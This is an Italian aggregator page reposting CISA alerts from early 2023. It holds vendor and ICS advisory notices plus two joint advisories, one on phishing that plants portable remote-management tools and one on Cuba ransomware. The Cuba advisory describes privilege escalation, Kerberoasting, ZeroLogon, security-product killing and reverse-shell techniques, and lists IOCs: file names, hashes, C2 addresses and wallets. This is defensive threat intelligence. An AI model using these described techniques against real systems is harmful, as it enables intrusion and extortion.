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News, Alert e Bollettini da Computer Emergency Response Team in lingua inglese

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  • CISA Releases Six Industrial Control Systems Advisories
    by CISA on 2 Febbraio 2023 at 6:00 pm

    Original release date: February 2, 2023CISA released six Industrial Control Systems (ICS) advisories on February 2, 2023.These advisories provides timely information about current security issues, vulnerabilities, and exploits surrounding ICS. CISA encourages users and administrators to review the newly released ICS advisories for technical details and mitigations: ICSA-23-033-01 Delta Electronics DIAScreen ICSA-23-033-02 Mitsubishi Electric GOT2000 Series and GT SoftGOT2000 ICSA-23-033-03 Baicells Nova ICSA-23-033-04 Delta Electronics DVW-W02W2-E2 ICSA-23-033-05 Delta Electronics DX-2100-L1-CN ICSA-22-221-01 Mitsubishi Electric Multiple Factory Automation Products (Update D) This product is provided subject to this Notification and this Privacy & Use policy.

  • CISA Adds Two Known Exploited Vulnerabilities to Catalog
    by CISA on 2 Febbraio 2023 at 5:15 pm

    Original release date: February 2, 2023CISA has added two new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise. Note: To view the newly added vulnerabilities in the catalog, click on the arrow in the "Date Added to Catalog" column, which will sort by descending dates. Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known CVEs that carry significant risk to the federal enterprise. BOD 22-01 requires FCEB agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information. Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the Catalog that meet the specified criteria. This product is provided subject to this Notification and this Privacy & Use policy.

  • Cisco Releases Security Advisories for Multiple Products
    by CISA on 2 Febbraio 2023 at 2:32 pm

    Original release date: February 2, 2023Cisco released security updates for vulnerabilities affecting multiple products. A remote attacker could exploit these vulnerabilities to take control of an affected system. CISA encourages users and administrators to review the Cisco Security Advisories page and apply the necessary updates. This product is provided subject to this Notification and this Privacy & Use policy.

  • Drupal Releases Security Update to Address a Vulnerability in Apigee Edge
    by CISA on 2 Febbraio 2023 at 1:57 pm

    Original release date: February 2, 2023Drupal released a security update to address a vulnerability affecting the Apigee Edge module for Drupal 9.x. An attacker could exploit this vulnerability to bypass access authorization or disclose sensitive information. CISA encourages users and administrators to review Drupal’s security advisory SA-CONTRIB- 2023-005 and apply the necessary update. This product is provided subject to this Notification and this Privacy & Use policy.

  • VMware Releases Security Update for VMware vRealize Operations
    by CISA on 1 Febbraio 2023 at 4:36 pm

    Original release date: February 1, 2023VMware released a security update that addresses a cross-site request forgery bypass vulnerability affecting VMware vRealize Operations. A malicious user could exploit this vulnerability to take control of an affected system. CISA encourages users and administrators to review VMware Security Advisory VMSA-2023-0002 and apply the necessary updates. This product is provided subject to this Notification and this Privacy & Use policy.

  • CISA Releases One Industrial Control Systems Advisory
    by CISA on 31 Gennaio 2023 at 4:00 pm

    Original release date: January 31, 2023CISA released one Industrial Control Systems (ICS) advisory on January 31, 2023. This advisory provides timely information about current security issues, vulnerabilities, and exploits surrounding ICS. CISA encourages users and administrators to review the newly released ICS advisory for technical details and mitigations: ICSA-23-31-01 Delta Electronics DOPSoft This product is provided subject to this Notification and this Privacy & Use policy.

  • ISC Releases Security Advisories for Multiple Versions of BIND 9
    by CISA on 27 Gennaio 2023 at 6:33 pm

    Original release date: January 27, 2023The Internet Systems Consortium (ISC) has released security advisories that address vulnerabilities affecting multiple versions of the ISC’s Berkeley Internet Name Domain (BIND) 9. A remote attacker could exploit these vulnerabilities to potentially cause denial-of-service conditions and system failures. CISA encourages users and administrators to review the following ISC advisories CVE-2022-3094, CVE-2022-3488, CVE-2022-3736, and CVE-2022-3924 and apply the necessary mitigations. This product is provided subject to this Notification and this Privacy & Use policy.

  • JCDC Announces 2023 Planning Agenda
    by CISA on 26 Gennaio 2023 at 6:05 pm

    Original release date: January 26, 2023Today, the Joint Cyber Defense Collaborative (JCDC) announced its 2023 Planning Agenda. This release marks a major milestone in the continued evolution and maturation of the collaborative’s planning efforts. JCDC’s Planning Agenda brings together government and private sector partners to develop and execute cyber defense plans that achieve specific risk reduction goals focused on systemic risk, collective cyber response, and high-risk communities. Through this effort, CISA and partners across government and the private sector will take steps to measurably reduce some of the most significant cyber risks facing the global cyber community. This effort also aims to deepen our collaborative capabilities to enable more rapid action when the need arises. CISA encourages organizations to review JCDC’s Planning Agenda webpage and CISA Executive Assistant Director Eric Goldstein’s blog post on this effort for a deeper understanding of the collaborative’s joint cyber defense plans. Visit CISA.gov/JCDC to learn about other ways JCDC is uniting the global cyber community in the collective defense of cyberspace. This product is provided subject to this Notification and this Privacy & Use policy.

  • CISA Releases Eight Industrial Control Systems Advisories
    by CISA on 26 Gennaio 2023 at 6:00 pm

    Original release date: January 26, 2023CISA released eight Industrial Control Systems (ICS) advisories on January 26, 2023.These advisories provide timely information about current security issues, vulnerabilities, and exploits surrounding ICS. CISA encourages users and administrators to review the newly released ICS advisories for technical details and mitigations: ICSA-23-026-01 Delta Electronics CNCSoft ScreenEditor ICSA-23-026-02 Econolite EOS ICSA-23-026-03 SnapOne Wattbox ICSA-23-026-04 Sierra Wireless AirLink Router with ALEOS Software ICSA-23-026-05 Mitsubishi Electric MELFA SD SQ series and F-series Robot Controllers ICSA-23-026-06 Rockwell Automation products using GoAhead Web Server ICSA-23-026-07 Landis+Gyr E580 ICSA-23-017-02 Mitsubishi Electric MELSEC iQ-F, iQ-R Series (Update A) This product is provided subject to this Notification and this Privacy & Use policy.

  • CISA Has Added One Known Exploited Vulnerability to Catalog
    by CISA on 26 Gennaio 2023 at 3:43 pm

    Original release date: January 26, 2023CISA has added one new vulnerability to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. This type of vulnerability is a frequent attack vector for malicious cyber actors and poses a significant risk to the federal enterprise. Note: To view the newly added vulnerabilities in the catalog, click on the arrow in the "Date Added to Catalog" column, which will sort by descending dates. Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known CVEs that carry significant risk to the federal enterprise. BOD 22-01 requires FCEB agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information. Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the Catalog that meet the specified criteria.  This product is provided subject to this Notification and this Privacy & Use policy.

  • AA23-025A: Protecting Against Malicious Use of Remote Monitoring and Management Software
    by CISA on 25 Gennaio 2023 at 5:55 pm

    Original release date: January 25, 2023 | Last revised: January 26, 2023SummaryThe Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Multi-State Information Sharing and Analysis Center (MS-ISAC) (hereafter referred to as the “authoring organizations”) are releasing this joint Cybersecurity Advisory (CSA) to warn network defenders about malicious use of legitimate remote monitoring and management (RMM) software. In October 2022, CISA identified a widespread cyber campaign involving the malicious use of legitimate RMM software. Specifically, cyber criminal actors sent phishing emails that led to the download of legitimate RMM software—ScreenConnect (now ConnectWise Control) and AnyDesk—which the actors used in a refund scam to steal money from victim bank accounts. Although this campaign appears financially motivated, the authoring organizations assess it could lead to additional types of malicious activity. For example, the actors could sell victim account access to other cyber criminal or advanced persistent threat (APT) actors. This campaign highlights the threat of malicious cyber activity associated with legitimate RMM software: after gaining access to the target network via phishing or other techniques, malicious cyber actors—from cybercriminals to nation-state sponsored APTs—are known to use legitimate RMM software as a backdoor for persistence and/or command and control (C2). Using portable executables of RMM software provides a way for actors to establish local user access without the need for administrative privilege and full software installation—effectively bypassing common software controls and risk management assumptions. The authoring organizations strongly encourage network defenders to review the Indicators of Compromise (IOCs) and Mitigations sections in this CSA and apply the recommendations to protect against malicious use of legitimate RMM software. Download the PDF version of this report: pdf, 608 kb. For a downloadable copy of IOCs, see AA23-025.stix (STIX, 19 kb). Technical DetailsOverview In October 2022, CISA used trusted third-party reporting, to conduct retrospective analysis of EINSTEIN—a federal civilian executive branch (FCEB)-wide intrusion detection system (IDS) operated and monitored by CISA—and identified suspected malicious activity on two FCEB networks: In mid-June 2022, malicious actors sent a phishing email containing a phone number to an FCEB employee’s government email address. The employee called the number, which led them to visit the malicious domain, myhelpcare[.]online. In mid-September 2022, there was bi-directional traffic between an FCEB network and myhelpcare[.]cc. Based on further EINSTEIN analysis and incident response support, CISA identified related activity on many other FCEB networks. The authoring organizations assess this activity is part of a widespread, financially motivated phishing campaign and is related to malicious typosquatting activity reported by Silent Push in the blog post Silent Push uncovers a large trojan operation featuring Amazon, Microsoft, Geek Squad, McAfee, Norton, and Paypal domains. Malicious Cyber Activity The authoring organizations assess that since at least June 2022, cyber criminal actors have sent help desk-themed phishing emails to FCEB federal staff’s personal, and government email addresses. The emails either contain a link to a “first-stage” malicious domain or prompt the recipients to call the cybercriminals, who then try to convince the recipients to visit the first-stage malicious domain. See figure 1 for an example phishing email obtained from an FCEB network.     The recipient visiting the first-stage malicious domain triggers the download of an executable. The executable then connects to a “second-stage” malicious domain, from which it downloads additional RMM software. CISA noted that the actors did not install downloaded RMM clients on the compromised host. Instead, the actors downloaded AnyDesk and ScreenConnect as self-contained, portable executables configured to connect to the actor’s RMM server. Note: Portable executables launch within the user’s context without installation. Because portable executables do not require administrator privileges, they can allow execution of unapproved software even if a risk management control may be in place to audit or block the same software’s installation on the network. Threat actors can leverage a portable executable with local user rights to attack other vulnerable machines within the local intranet or establish long term persistent access as a local user service. CISA has observed that multiple first-stage domain names follow naming patterns used for IT help/support themed social-engineering, e.g., hservice[.]live, gscare[.]live, nhelpcare[.]info, deskcareme[.]live, nhelpcare[.]cc). According to Silent Push, some of these malicious domains impersonate known brands such as, Norton, GeekSupport, Geek Squad, Amazon, Microsoft, McAfee, and PayPal.[1] CISA has also observed that the first-stage malicious domain linked in the initial phishing email periodically redirects to other sites for additional redirects and downloads of RMM software. Use of Remote Monitoring and Management Tools In this campaign, after downloading the RMM software, the actors used the software to initiate a refund scam. They first connected to the recipient’s system and enticed the recipient to log into their bank account while remaining connected to the system. The actors then used their access through the RMM software to modify the recipient’s bank account summary. The falsely modified bank account summary showed the recipient was mistakenly refunded an excess amount of money. The actors then instructed the recipient to “refund” this excess amount to the scam operator. Although this specific activity appears to be financially motivated and targets individuals, the access could lead to additional malicious activity against the recipient’s organization—from both other cybercriminals and APT actors. Network defenders should be aware that: Although the cybercriminal actors in this campaign used ScreenConnect and AnyDesk, threat actors can maliciously leverage any legitimate RMM software. Because threat actors can download legitimate RMM software as self-contained, portable executables, they can bypass both administrative privilege requirements and software management control policies. The use of RMM software generally does not trigger antivirus or antimalware defenses. Malicious cyber actors are known to leverage legitimate RMM and remote desktop software as backdoors for persistence and for C2.[2],[3],[4],[5],[6],[7],[8] RMM software allows cyber threat actors to avoid using custom malware. Threat actors often target legitimate users of RMM software. Targets can include managed service providers (MSPs) and IT help desks, who regularly use legitimate RMM software for technical and security end-user support, network management, endpoint monitoring, and to interact remotely with hosts for IT-support functions. These threat actors can exploit trust relationships in MSP networks and gain access to a large number of the victim MSP's customers. MSP compromises can introduce significant risk—such as ransomware and cyber espionage—to the MSP’s customers. The authoring organizations strongly encourage network defenders to apply the recommendations in the Mitigations section of this CSA to protect against malicious use of legitimate RMM software. INDICATORS OF COMPROMISE See table 1 for IOCs associated with the campaign detailed in this CSA. Table 1: Malicious Domains and IP addresses observed by CISA Domain Description Date(s) Observed win03[.]xyz Suspected first-stage malware domain June 1, 2022 July 19, 2022 myhelpcare[.]online Suspected first-stage malware domain June 14, 2022   win01[.]xyz Suspected first-stage malware domain August 3, 2022 August 18, 2022 myhelpcare[.]cc Suspected first-stage malware domain September 14, 2022 247secure[.]us Second-stage malicious domain October 19, 2022 November 10, 2022   Additional resources to detect possible exploitation or compromise: Silent Push: Silent Push uncovers a large trojan operation featuring Amazon, Microsoft, Geek Squad, McAfee, Norton, and Paypal domains. MitigationsThe authoring organizations encourage network defenders to: Implement best practices to block phishing emails. See CISA’s Phishing Infographic for more information. Audit remote access tools on your network to identify currently used and/or authorized RMM software. Review logs for execution of RMM software to detect abnormal use of programs running as a portable executable. Use security software to detect instances of RMM software only being loaded in memory. Implement application controls to manage and control execution of software, including allowlisting RMM programs. See NSA Cybersecurity Information sheet Enforce Signed Software Execution Policies. Application controls should prevent both installation and execution of portable versions of unauthorized RMM software. Require authorized RMM solutions only be used from within your network over approved remote access solutions, such as virtual private networks (VPNs) or virtual desktop interfaces (VDIs). Block both inbound and outbound connections on common RMM ports and protocols at the network perimeter.  Implement a user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails. RESOURCES See CISA Insights Mitigations and Hardening Guidance for MSPs and Small- and Mid-sized Businesses for guidance on hardening MSP and customer infrastructure. U.S. Defense Industrial Base (DIB) Sector organizations may consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration for eligible organizations. For more information on how to enroll in these services, email dib_defense@cyber.nsa.gov. CISA offers several Vulnerability Scanning to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. See cisa.gov/cyber-hygiene-services. Consider participating in CISA’s Automated Indicator Sharing (AIS) to receive real-time exchange of machine-readable cyber threat indicators and defensive measures. AIS is offered at no cost to participants as part of CISA’s mission to work with our public and private sector partners to identify and help mitigate cyber threats through information sharing and provide technical assistance, upon request, that helps prevent, detect, and respond to incidents. PURPOSE This advisory was developed by CISA, NSA, and MS-ISAC in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. DISCLAIMER The information in this report is being provided “as is” for informational purposes only. CISA, NSA, and MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring. References [1] Silent Push uncovers a large trojan operation featuring Amazon, Microsoft, Geek Squad, McAfee, Norton, and Paypal domains. — Silent Push Threat Intelligence [2] Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization | CISA [3] Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks | CISA [4] Karakurt Data Extortion Group | CISA [5] Compromise of U.S. Water Treatment Facility | CISA [6] North Korean Advanced Persistent Threat Focus: Kimsuky | CISA [7] Continued Threat Actor Exploitation Post Pulse Secure VPN Patching | CISA [8] FBI Warns Public to Beware of Tech Support Scammers Targeting Financial Accounts Using Remote Desktop Software — FBI Revisions January 25, 2023: Initial Version This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-335A: #StopRansomware: Cuba Ransomware
    by CISA on 1 Dicembre 2022 at 6:04 pm

    Original release date: December 1, 2022 | Last revised: January 5, 2023SummaryActions to take today to mitigate cyber threats from ransomware: • Prioritize remediating known exploited vulnerabilities. • Train users to recognize and report phishing attempts. • Enable and enforce phishing-resistant multifactor authentication. Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources. The FBI and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known Cuba ransomware IOCs and TTPs associated with Cuba ransomware actors identified through FBI investigations, third-party reporting, and open-source reporting. This advisory updates the December 2021 FBI Flash: Indicators of Compromise Associated with Cuba Ransomware. Note: While this ransomware is known by industry as “Cuba ransomware,” there is no indication Cuba ransomware actors have any connection or affiliation with the Republic of Cuba. Since the release of the December 2021 FBI Flash, the number of U.S. entities compromised by Cuba ransomware has doubled, with ransoms demanded and paid on the increase. This year, Cuba ransomware actors have added to their TTPs, and third-party and open-source reports have identified a possible link between Cuba ransomware actors, RomCom Remote Access Trojan (RAT) actors, and Industrial Spy ransomware actors. FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of Cuba ransomware and other ransomware operations. Download the PDF version of this report: pdf, 649 kb. For a downloadable copy of IOCs, see: AA22-335A.stix (STIX 148 kb). (Updated December 12, 2022) AA22-335A-2.stix (STIX, 67 kb). (End of Update.) Technical DetailsOverview Since the December 2021 release of FBI Flash: Indicators of Compromise Associated with Cuba Ransomware, FBI has observed Cuba ransomware actors continuing to target U.S. entities in the following five critical infrastructure sectors: Financial Services, Government Facilities, Healthcare and Public Health, Critical Manufacturing, and Information Technology. As of August 2022, FBI has identified that Cuba ransomware actors have: Compromised 101 entities, 65 in the United States and 36 outside the United States. Demanded 145 million U.S. Dollars (USD) and received 60 million USD in ransom payments. Cuba Ransomware Actors’ Tactics, Techniques, and Procedures As previously reported by FBI, Cuba ransomware actors have leveraged the following techniques to gain initial access into dozens of entities in multiple critical infrastructure sectors: Known vulnerabilities in commercial software [T1190] Phishing campaigns [T1566] Compromised credentials [T1078] Legitimate remote desktop protocol (RDP) tools [T1563.002] After gaining initial access, the actors distributed Cuba ransomware on compromised systems through Hancitor—a loader known for dropping or executing stealers, such as Remote Access Trojans (RATs) and other types of ransomware, onto victims’ networks. Since spring 2022, Cuba ransomware actors have modified their TTPs and tools to interact with compromised networks and extort payments from victims.[1],[2] Cuba ransomware actors have exploited known vulnerabilities and weaknesses and have used tools to elevate privileges on compromised systems. According to Palo Alto Networks Unit 42,[2] Cuba ransomware actors have: Exploited CVE-2022-24521 in the Windows Common Log File System (CLFS) driver to steal system tokens and elevate privileges. Used a PowerShell script to identify and target service accounts for their associated Active Directory Kerberos ticket. The actors then collected and cracked the Kerberos tickets offline via Kerberoasting [T1558.003]. Used a tool, called KerberCache, to extract cached Kerberos tickets from a host’s Local Security Authority Server Service (LSASS) memory [T1003.001]. Used a tool to exploit CVE-2020-1472 (also known as “ZeroLogon”) to gain Domain Administrative privileges [T1068]. This tool and its intrusion attempts have been reportedly related to Hancitor and Qbot. According to Palo Alto Networks Unit 42, Cuba ransomware actors use tools to evade detection while moving laterally through compromised environments before executing Cuba ransomware. Specifically, the actors, “leveraged a dropper that writes a kernel driver to the file system called ApcHelper.sys. This targets and terminates security products. The dropper was not signed; however, the kernel driver was signed using the certificate found in the LAPSUS NVIDIA leak." [T1562.001].[2] In addition to deploying ransomware, the actors have used “double extortion” techniques, in which they exfiltrate victim data, and (1) demand a ransom payment to decrypt it and, (2) threaten to publicly release it if a ransom payment is not made.[2] Cuba Ransomware Link to RomCom and Industrial Spy Marketplace Since spring 2022, third-party and open-source reports have identified an apparent link between Cuba ransomware actors, RomCom RAT actors, and Industrial Spy ransomware actors: According to Palo Alto Networks Unit 42, Cuba ransomware actors began using RomCom malware, a custom RAT, for command and control (C2).[2] Cuba ransomware actors may also be leveraging Industrial Spy ransomware. According to third-party reporting, suspected Cuba ransomware actors compromised a foreign healthcare company. The threat actors deployed Industrial Spy ransomware, which shares distinct similarities in configuration to Cuba ransomware. Before deploying the ransomware, the actors moved laterally using Impacket and deployed the RomCom RAT and Meterpreter Reverse Shell HTTP/HTTPS proxy via a C2 server [T1090]. Cuba ransomware actors initially used their leak site to sell stolen data; however, around May 2022, the actors began selling their data on Industrial Spy’s online market for selling stolen data.[2] RomCom actors have targeted foreign military organizations, IT companies, food brokers and manufacturers.[3][4] The actors copied legitimate HTML code from public-facing webpages, modified the code, and then incorporated it in spoofed domains [T1584.001], which allowed the RomCom actors to: Host counterfeit Trojanized applications for SolarWinds Network Performance Monitor (NPM), KeePass password manager, PDF Reader Pro, (by PDF Technologies, Inc., not an Adobe Acrobat or Reader product), and Advanced IP Scanner software; Deploy the RomCom RAT as the final stage. INDICATORS OF COMPROMISE See tables 1 through 5 for Cuba ransomware IOCs that FBI obtained during threat response investigations as of late August 2022. In addition to these tables, see the publications in the References section below for aid in detecting possible exploitation or compromise. Note: For IOCs as of early November 2021, see FBI Flash: Indicators of Compromise Associated with Cuba Ransomware. Table 1: Cuba Ransomware Associated Files and Hashes, as of Late August 2022 File Name File Path File Hash netping.dll c:\windows\temp SHA256: f1103e627311e73d5f29e877243e7ca203292f9419303c661aec57745eb4f26c shar.bat   MD5: 4c32ef0836a0af7025e97c6253054bca SHA256: a7c207b9b83648f69d6387780b1168e2f1eabd23ae6e162dd700ae8112f8b96c Psexesvc.exe   SHA256: 141b2190f51397dbd0dfde0e3904b264c91b6f81febc823ff0c33da980b69944 1.bat     216155s.dll     23246s.bat   SHA256: 02a733920c7e69469164316e3e96850d55fca9f5f9d19a241fad906466ec8ae8 23246s.dll   SHA256: 0cf6399db55d40bc790a399c6bbded375f5a278dc57a143e4b21ea3f402f551f 23246st.dll   SHA256: f5db51115fa0c910262828d0943171d640b4748e51c9a140d06ea81ae6ea1710 259238e.exe     31-100.bat     3184.bat     3184.dll     45.dll   SHA256: 857f28b8fe31cf5db6d45d909547b151a66532951f26cda5f3320d2d4461b583 4ca736d.exe     62e2e37.exe     64.235.39.82     64s.dll     7z.sfx     7zCon.sfx     7-zip.chm     82.ps1     9479.bat   SHA256: 08eb4366fc0722696edb03981f00778701266a2e57c40cd2e9d765bf8b0a34d0 9479p.bat   SHA256: f8144fa96c036a8204c7bc285e295f9cd2d1deb0379e39ee8a8414531104dc4a 9479p.ps1   SHA256: 88d13669a994d2e04ec0a9940f07ab8aab8563eb845a9c13f2b0fec497df5b17 a.exe     MD5: 03c835b684b21ded9a4ab285e4f686a3   SHA1: eaced2fcfdcbf3dca4dd77333aaab055345f3ab4   SHA256: 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3   SHA256: 0d5e3483299242bf504bd3780487f66f2ec4f48a7b38baa6c6bc8ba16e4fb605   SHA256: 7e00bfb622072f53733074795ab581cf6d1a8b4fc269a50919dda6350209913c   SHA256: af4523186fe4a5e2833bbbe14939d8c3bd352a47a2f77592d8adcb569621ce02 a220.bat     a220.dll   SHA256: 8a3d71c668574ad6e7406d3227ba5adc5a230dd3057edddc4d0ec5f8134d76c3 a82.exe   SHA256: 4306c5d152cdd86f3506f91633ef3ae7d8cf0dd25f3e37bec43423c4742f4c42 a91.exe   SHA256: 3d4502066a338e19df58aa4936c37427feecce9ab8d43abff4a7367643ae39ce a99.exe   SHA256: f538b035c3de87f9f8294bec272c1182f90832a4e86db1e47cbb1ab26c9f3a0b aa.exe     aa2.exe     aaa.stage.16549040.dns.alleivice.com     add2.exe     advapi32.dll     agent.13.ps1     agent.bat   SHA256: fd87ca28899823b37b2c239fbbd236c555bcab7768d67203f86d37ede19dd975 agent.dll     agent13.bat     agent13.ps1   SHA256: 1817cc163482eb21308adbd43fb6be57fcb5ff11fd74b344469190bb48d8163b agent64.bin   SHA256: bff4dd37febd5465e0091d9ea68006be475c0191bd8c7a79a44fbf4b99544ef1 agsyst121.bat     agsyst121.dll     all.bat   SHA256: ecefd9bb8b3783a81ab934b44eb3d84df5e58f0289f089ef6760264352cf878a all.dll   SHA256: db3b1f224aec1a7c58946d819d729d0903751d1867113aae5cca87e38c653cf4 anet.exe   SHA1: 241ce8af441db2d61f3eb7852f434642739a6cc3   SHA256: 74fbf3cc44dd070bd5cb87ca2eed03e1bbeec4fec644a25621052f0a73abbe84   SHA256: b160bd46b6efc6d79bfb76cf3eeacca2300050248969decba139e9e1cbeebf53 SHA256: f869e8fbd8aa1f037ad862cf6e8bbbf797ff49556fb100f2197be4ee196a89ae App.exe     appnetwork.exe     AppVClient.man     aswSP_arPot2     aus.exe   SHA256: 0c2ffed470e954d2bf22807ba52c1ffd1ecce15779c0afdf15c292e3444cf674 SHA256: 310afba59ab8e1bda3ef750a64bf39133e15c89e8c7cf4ac65ee463b26b136ba av.bat   SHA256: b5d202456ac2ce7d1285b9c0e2e5b7ddc03da1cbca51b5da98d9ad72e7f773b8 c2.ps1     c2.ps1     cdzehhlzcwvzcmcr.aspx     check.exe     checkk.exe     checkk.txt   SHA256: 1f842f84750048bb44843c277edeaa8469697e97c4dbf8dc571ec552266bec9f client32.exe     comctl32 .dll     comp2.ps1     comps2.ps1     cqyrrxzhumiklndm.aspx     defendercontrol.exe     ff.exe   SHA256: 1b943afac4f476d523310b8e3afe7bca761b8cbaa9ea2b9f01237ca4652fc834 File __agsyst121.dll     File __aswArPot.sys     File __s9239.dll     File_agsyst121.dll     File_aswArPot.sys     File_s9239.dll     ga.exe     gdi32 .dll     geumspbgvvytqrih.aspx     IObit UNLOCKER.exe     kavsa32.exe   MD5: 236f5de8620a6255f9003d054f08574b SHA1: 9b546bd99272cf4689194d698c830a2510194722 kavsyst32.exe     kernel32.dll     komar.bat   SHA256: B9AFE016DBDBA389000B01CE7645E7EEA1B0A50827CDED1CBAA48FBC715197BB komar.dll     komar121.bat     komar121.dll     komar2.ps1   SHA256: 61971d3cbf88d6658e5209de443e212100afc8f033057d9a4e79000f6f0f7cc4 komar64.dll   SHA256: 8E64BACAF40110547B334EADCB0792BDC891D7AE298FBFFF1367125797B6036B mfcappk32.exe     newpass.ps1   SHA256: c646199a9799b6158de419b1b7e36b46c7b7413d6c35bfffaeaa8700b2dcc427 npalll.exe   SHA256: bd270853db17f94c2b8e4bd9fa089756a147ed45cbc44d6c2b0c78f361978906 ole32.dll     oleaut32.dll     open.bat   SHA256: 2EB3EF8A7A2C498E87F3820510752043B20CBE35B0CBD9AF3F69E8B8FE482676 open.exe     pass.ps1   SHA256: 0afed8d1b7c36008de188c20d7f0e2283251a174261547aab7fb56e31d767666 pdfdecrypt.exe     powerview.ps1     prt3389.bat   SHA256: e0d89c88378dcb1b6c9ce2d2820f8d773613402998b8dcdb024858010dec72ed ra.ps1   SHA256: 571f8db67d463ae80098edc7a1a0cad59153ce6592e42d370a45df46f18a4ad8 rg1.exe     Rg2.exe     rundll32     s64174.bat   SHA256: 10a5612044599128981cb41d71d7390c15e7a2a0c2848ad751c3da1cbec510a2 SHA256: 1807549af1c8fdc5b04c564f4026e41790c554f339514d326f8b55cb7b9b4f79 s64174.dll     s9239.bat     s9239.dll     shell32.dll     stel.exe     syskav64.exe     sysra64,exe     systav332.bat   SHA256: 01242b35b6def71e42cc985e97d618e2fabd616b16d23f7081d575364d09ca74 TC-9.22a.2019.3.exe     TeamViewer.exe     testDLL.dll     tug4rigd.dll   SHA256: 952b34f6370294c5a0bb122febfaa80612fef1f32eddd48a3d0556c4286b7474 UpdateNotificationPipeline.002.etl     user32.dll     v1.bat     v2.bat     v3.bat     veeamp.exe   SHA256: 9aa1f37517458d635eae4f9b43cb4770880ea0ee171e7e4ad155bbdee0cbe732 version.dll     vlhqbgvudfnirmzx.aspx     wininet.dll     wlog.exe     wpeqawzp.sys     y3lcx345.dll     zero.exe   SHA256: 3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0               Table 2: Cuba Ransomware Associated Email Addresses, as of Late August 2022 Email Provider Email Addresses Cuba-supp[.]com admin@cuba-supp[.]com Encryption-support[.]com admin@encryption-support[.]com Mail.supports24[.]net inbox@mail.supports24[.]net   Table 3: Cuba Ransomware Associated Jabber Address, as of Late August 2022 cuba_support@exploit[.]im   Table 4: IP Addresses Associated with Cuba Ransomware, as of Late August 2022 Note: Some of these observed IP addresses are more than a year old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action such as blocking. 193.23.244[.]244 144.172.83[.]13 216.45.55[.]30 94.103.9[.]79 149.255.35[.]131 217.79.43[.]148 192.137.101[.]46 154.35.175[.]225 222.252.53[.]33 92.222.172[.]39 159.203.70[.]39 23.227.198[.]246 92.222.172[.]172 171.25.193[.]9 31.184.192[.]44 10.13.102[.]1 185.153.199[.]169 37.120.247[.]39 10.13.102[.]58 192.137.100[.]96 37.44.253[.]21 10.133.78[.]41 192.137.100[.]98 38.108.119[.]121 10.14.100[.]20 192.137.101[.]205 45.164.21[.]13 103.114.163[.]197 193.34.167[.]17 45.32.229[.]66 103.27.203[.]197 194.109.206[.]212 45.86.162[.]34 104.217.8[.]100 195.54.160[.]149 45.91.83[.]176 107.189.10[.]143 199.58.81[.]140 64.52.169[.]174 108.170.31[.]115 204.13.164[.]118 64.235.39[.]82 128.31.0[.]34 209.76.253[.]84 79.141.169[.]220 128.31.0[.]39 212.192.241[.]230 84.17.52[.]135 131.188.40[.]189 213.32.39[.]43 86.59.21[.]38 141.98.87[.]124 216.45.55[.]3     Table 5: Cuba Bitcoin Wallets Receiving Payments, as of Late August 2022 bc1q4vr25xkth35qslenqwd7aw020w85qrvlrhv7hc bc1q5uc0fdnz0ve5pg4nl4upa9ly586t6wmnghfe7x bc1q6rsj3cn37dngypu5kad9gdw5ykhctpwhjvun3z bc1q6zkemtyyrre2mkk23g93zyq98ygrygvx7z2q0t bc1q9cj0n9k2m282x0nzj6lhqjvhkkd4h95sewek83 bc1qaselp9nhejc3safcq3vn5wautx6w33x0llk7dl bc1qc48q628t93xwzljtvurpqhcvahvesadpwqtsza bc1qgsuf5m9tgxuv4ylxcmx8eeqn3wmlmu7f49zkus bc1qhpepeeh7hlz5jvrp50uhkz59lhakcfvme0w9qh bc1qjep0vx2lap93455p7h29unruvr05cs242mrcah bc1qr9l0gcl0nvmngap6ueyy5gqdwvm34kdmtevjyx bc1qs3lv77udkap2enxv928x59yuact5df4t95rsqr bc1qyd05q2m5qt3nwpd3gcqkyer0gspqx5p6evcf7h 